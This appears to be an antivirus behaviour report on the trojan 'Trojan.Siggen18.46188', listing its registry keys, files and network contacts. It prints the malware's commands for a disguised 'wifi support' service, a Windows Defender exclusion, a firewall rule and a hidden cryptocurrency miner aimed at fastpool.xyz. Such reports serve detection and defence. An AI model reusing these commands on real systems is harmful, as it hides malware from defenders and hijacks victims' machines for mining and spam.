Trojan.Siggen18.46188

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\wnqolxdp] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\wnqolxdp] 'ImagePath' = '%WINDIR%\SysWOW64\wnqolxdp\groekzde.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\wnqolxdp] 'ImagePath' = '%WINDIR%\SysWOW64\wnqolxdp\groekzde.exe'

Creates the following services

'wnqolxdp' %WINDIR%\SysWOW64\wnqolxdp\groekzde.exe /d"<Full path to file>"
'wnqolxdp' %WINDIR%\SysWOW64\wnqolxdp\groekzde.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wnqolxdp' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\groekzde.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\groekzde.exe to %WINDIR%\syswow64\wnqolxdp\groekzde.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'ma######.blueyoder.co.uk':25
'mx#.#ifty.com':25
'mx#######d04.gslb.pphosted.com':25
'mx.####inalculinary.com':25
'mx###.##il.am0.yahoodns.net':25
'sm#####.mcctelecom.es':25
'mx.##.#tinternet.com':25
'ma##.#omeerer.com':25
'mx.##wered.name':25
'mx#######502.gslb.pphosted.com':25
'ex######.hardingpost.com':25
'ma##.#imgmail.com':25
'ma##.#ailretrer.com':25
'or####.#mobile-nigeria.com':25
'mx#######003.gslb.pphosted.com':25
'fa###ool.xyz':10060
'mx#######201.gslb.pphosted.com':25
'pu######3.mail2world.com':25
'mx.###eric-isp.com':25
'an#####m.avantika.mx':25
'ma###.#ailinator.com':25
'mx#######002.gslb.pphosted.com':25
'mx.####whats-new.com':25
'mx###.ipower.com':25
'ma##.#-email.net':25
'al######x-vip2.prodigy.net':25
'mx.########e.prod.cloud.synchronoss.net':25
'10#.#8.138.44':443
'na###enome.com':25
'mx#######703.gslb.pphosted.com':25
'em##.wright.edu':25
'mx######a-com.icoremail.net':25
'10#.#19.112.104':443
'bo######timail01.fau.edu':25
'mx#######a02.gslb.gpphosted.com':25
'in#######relays.illinois.edu':25
'mx#.##tsolmail.net':25
'pa####x.above.com':25
'mx#######602.gslb.pphosted.com':25
'lo########eers.ogame.gameforge.com':443
'mx.##ellis.com':25
'ma##.##st-my-mail.com':25
'mx#######101.gslb.pphosted.com':25
'r-####3.korea.com':25
'mx#######c01.gslb.pphosted.com':25
'mx.##work.com':25
'em##.freenet.de':25
'mx.##s.untd.com':25
'ho#########.olc.protection.outlook.com':25
'mx#.##il.ovh.net':25
'mx#######f01.gslb.pphosted.com':25
'mx#.#anmail.net':25
'mx#######b02.gslb.pphosted.com':25
'mx#.#angia.biz':25
'21#.#2.101.24':993
'mx######20701.pphosted.com':25
'mx#.#ate.com':25
'google.com':80
'17#.#13.115.157':426
'17#.#13.115.156':426
'80.#6.75.4':426
'17#.#13.115.155':426
'17#.#13.115.154':426
'17#.#13.115.153':426
'sm####.starcruises.com':25
'mx#######701.gslb.pphosted.com':25
'mx##.###us-vadesecure.net':25
'na#.###.#rotection.outlook.com':25
'mx#######501.gslb.pphosted.com':25
'mx#.#aver.com':25
'17#.#13.115.158':482
'sv####lfheim.top':443
'mx##.mb5p.com':25
'mx##.#lackberry.com':25
'45.##0.145.1':443
'mx#######005.gslb.pphosted.com':25
'ma##.###lied-info-mgmt.com':25
'mx#######a01.gslb.pphosted.com':25
'ma##.##ndercraats.com':25
'mx.###derarend.com':25
'mx#.##ailsrvr.com':25
'cu####.cscdns.net':25
'mx.#####nbergconsulting.com':25
'ma##.##nbarneveld.com':25
'mx#######b01.gslb.pphosted.com':25
'mx.#len.pl':25
'mx#######401.gslb.pphosted.com':25
'mx#######e01.gslb.pphosted.com':25
'mx#######601.gslb.pphosted.com':25
'alt2.aspmx.l.google.com':25
'eu#.###.#rotection.outlook.com':25
'mx.#p.pl':25
'mx#.###mfiltering.com':25
'mx##.mail.com':25
'mx#######r-01.mailinblack.com':25
'ma##.#olivar.com':25
'mx######91d01.pphosted.com':25
'mt##.##0.yahoodns.net':25
'ap#.#idemail.io':25
'mx.#cn.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'ma###.#ailinator.com':25
'an#####m.avantika.mx':25
'mx.###eric-isp.com':25
'fa###ool.xyz':10060
'or####.#mobile-nigeria.com':25
'alt1.aspmx.l.google.com':25
'mx.##wered.name':25
'mx.##.#tinternet.com':25
'ex######.hardingpost.com':25
'mx###.##il.am0.yahoodns.net':25
'ma######.blueyoder.co.uk':25
'ma##.#-email.net':25
'<DNS_SERVER>':53
'ma##.##st-my-mail.com':25
'mx.##ellis.com':25
'ma##.##nbarneveld.com':25
'lo########eers.ogame.gameforge.com':443
'pa####x.above.com':25
'in#######relays.illinois.edu':25
'mx#.##tsolmail.net':25
'10#.#19.112.104':443
'mx######a-com.icoremail.net':25
'na###enome.com':25
'mx#.##il.ovh.net':25
'10#.#8.138.44':443
'ap#.#idemail.io':25
'ma##.##ndercraats.com':25
'17#.#13.115.158':482
'80.#6.75.4':426
'17#.#13.115.156':426
'17#.#13.115.154':426
'17#.#13.115.153':426
'17#.#13.115.157':426
'17#.#13.115.155':426
'na#.###.#rotection.outlook.com':25
'mx#.#aver.com':25
'sm####.starcruises.com':25
'21#.#2.101.24':993
'mx#.#angia.biz':25
'mx#.#anmail.net':25
'45.##0.145.1':443
'mx##.mb5p.com':25
'mt##.##0.yahoodns.net':25
'ma##.#olivar.com':25
'mx#######r-01.mailinblack.com':25
'mx#.###mfiltering.com':25
'eu#.###.#rotection.outlook.com':25
'alt2.aspmx.l.google.com':25
'aspmx.l.google.com':25
'cu####.cscdns.net':25
'ma##.###lied-info-mgmt.com':25
'al######x-vip2.prodigy.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ma##.#omeerer.com
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK ne##er.net
DNS ASK sm#####.mcctelecom.es
DNS ASK ro###tmail.com
DNS ASK ca#####lculinary.com
DNS ASK mx.####inalculinary.com
DNS ASK sk#.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ma######.blueyoder.co.uk
DNS ASK mx###.ipower.com
DNS ASK ai#.com
DNS ASK mx#######d04.gslb.pphosted.com
DNS ASK ni##y.com
DNS ASK mx#.#ifty.com
DNS ASK se####ats-new.com
DNS ASK mx.####whats-new.com
DNS ASK ni##.com
DNS ASK mx#######002.gslb.pphosted.com
DNS ASK be###outh.com
DNS ASK si######sistersnetwork.org
DNS ASK do###rer.com
DNS ASK bl###oder.co.uk
DNS ASK mx.##wered.name
DNS ASK ma###etrer.com
DNS ASK we###ailer.com
DNS ASK mx.###eric-isp.com
DNS ASK ch####brothers.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK te##s.net
DNS ASK fa###ool.xyz
DNS ASK we###fargo.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK vm####e-nigeria.com
DNS ASK or####.#mobile-nigeria.com
DNS ASK ma##.#ailretrer.com
DNS ASK ar###oal.com
DNS ASK av####ennison.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK ed##c.com
DNS ASK ti###ail.com
DNS ASK ma##.#imgmail.com
DNS ASK sb#.com
DNS ASK ho##gic.com
DNS ASK mx#######502.gslb.pphosted.com
DNS ASK ha###ngpost.com
DNS ASK ex######.hardingpost.com
DNS ASK as###rmaikl.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK do##rk.com
DNS ASK bo######timail01.fau.edu
DNS ASK ha##ii.edu
DNS ASK ap####entguide.com
DNS ASK ch##a.com
DNS ASK mx######a-com.icoremail.net
DNS ASK wr##ht.edu
DNS ASK em##.wright.edu
DNS ASK ur##orp.com
DNS ASK mx#######703.gslb.pphosted.com
DNS ASK mx#######a02.gslb.gpphosted.com
DNS ASK fa#.edu
DNS ASK je##nn.com
DNS ASK mx.########e.prod.cloud.synchronoss.net
DNS ASK fr###iernet.net
DNS ASK be###outh.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK ju##.com
DNS ASK mx.##s.untd.com
DNS ASK ex##te.com
DNS ASK ne##ero.com
DNS ASK qm###.com.au
DNS ASK na###enome.com
DNS ASK op###line.net
DNS ASK ba###lle.org
DNS ASK mx#.##tsolmail.net
DNS ASK tu###nrodeo.com
DNS ASK pa###ount.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK up#.com
DNS ASK ko##a.com
DNS ASK r-####3.korea.com
DNS ASK mc#.edu
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK an##em.com
DNS ASK mx.##work.com
DNS ASK if##u.com
DNS ASK ta##et.com
DNS ASK jb##lis.com
DNS ASK mx.##ellis.com
DNS ASK lo########eers.ogame.gameforge.com
DNS ASK pg.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK ad##sa.com
DNS ASK pa####x.above.com
DNS ASK il###ois.edu
DNS ASK in#######relays.illinois.edu
DNS ASK ma##.##st-my-mail.com
DNS ASK pu######3.mail2world.com
DNS ASK rc#.com
DNS ASK ma###world.com
DNS ASK ta###moss.com
DNS ASK st###farm.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK da##.net
DNS ASK po###line.net
DNS ASK mx##.mb5p.com
DNS ASK vi##o.com
DNS ASK mx##.#lackberry.com
DNS ASK pr##.net
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK ma##.com
DNS ASK ci##ink.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK at#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK bo##var.com
DNS ASK ma##.#olivar.com
DNS ASK ro####irmaroc.com
DNS ASK mx#######r-01.mailinblack.com
DNS ASK cl###hanger.com
DNS ASK mx##.mail.com
DNS ASK mx#.#angia.biz
DNS ASK al###ate.com
DNS ASK co##i.net
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK sv####lfheim.top
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK na##r.com
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK mx#.#aver.com
DNS ASK mg#.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK lo###edge.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK ba###dale.com
DNS ASK we##v.net
DNS ASK ea###link.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK st###ruises.com
DNS ASK mx##.###us-vadesecure.net
DNS ASK sm####.starcruises.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK google.com
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK mx######20701.pphosted.com
DNS ASK bc##k.com
DNS ASK mx#.###mfiltering.com
DNS ASK bl#####cksoftware.com
DNS ASK mx#.##ailsrvr.com
DNS ASK va###rarend.com
DNS ASK mx.###derarend.com
DNS ASK va####craats.com
DNS ASK ma##.##ndercraats.com
DNS ASK ai###auto.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK wn##.net
DNS ASK ma##.###lied-info-mgmt.com
DNS ASK cu####.cscdns.net
DNS ASK va####berginc.com
DNS ASK 71###line.net
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK de##a.com
DNS ASK ak##ai.com
DNS ASK se###hait.com
DNS ASK mx#.##il.ovh.net
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ma###nator.com
DNS ASK ma###.#ailinator.com
DNS ASK ap#.#idemail.io
DNS ASK ne####marcus.com
DNS ASK ts#.com
DNS ASK aspmx.l.google.com
DNS ASK te###planet.net
DNS ASK wp.pl
DNS ASK mx.#p.pl
DNS ASK li#e.be
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK sa#####ielacademy.org
DNS ASK alt2.aspmx.l.google.com
DNS ASK ma##h.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK fo##spg.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK se##y.com
DNS ASK o2.pl
DNS ASK mx.#len.pl
DNS ASK tl#n.pl
DNS ASK ad#.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK em##l.com
DNS ASK va####neveld.com
DNS ASK ma##.##nbarneveld.com
DNS ASK va######rgconsulting.com
DNS ASK mx.#####nbergconsulting.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK an#####m.avantika.mx
DNS ASK mx.#cn.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\wnqolxdp\groekzde.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wnqolxdp\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\groekzde.exe" %WINDIR%\SysWOW64\wnqolxdp\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create wnqolxdp binPath= "%WINDIR%\SysWOW64\wnqolxdp\groekzde.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description wnqolxdp "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start wnqolxdp' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wnqolxdp\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\groekzde.exe" %WINDIR%\SysWOW64\wnqolxdp\
'%WINDIR%\syswow64\sc.exe' create wnqolxdp binPath= "%WINDIR%\SysWOW64\wnqolxdp\groekzde.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description wnqolxdp "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start wnqolxdp
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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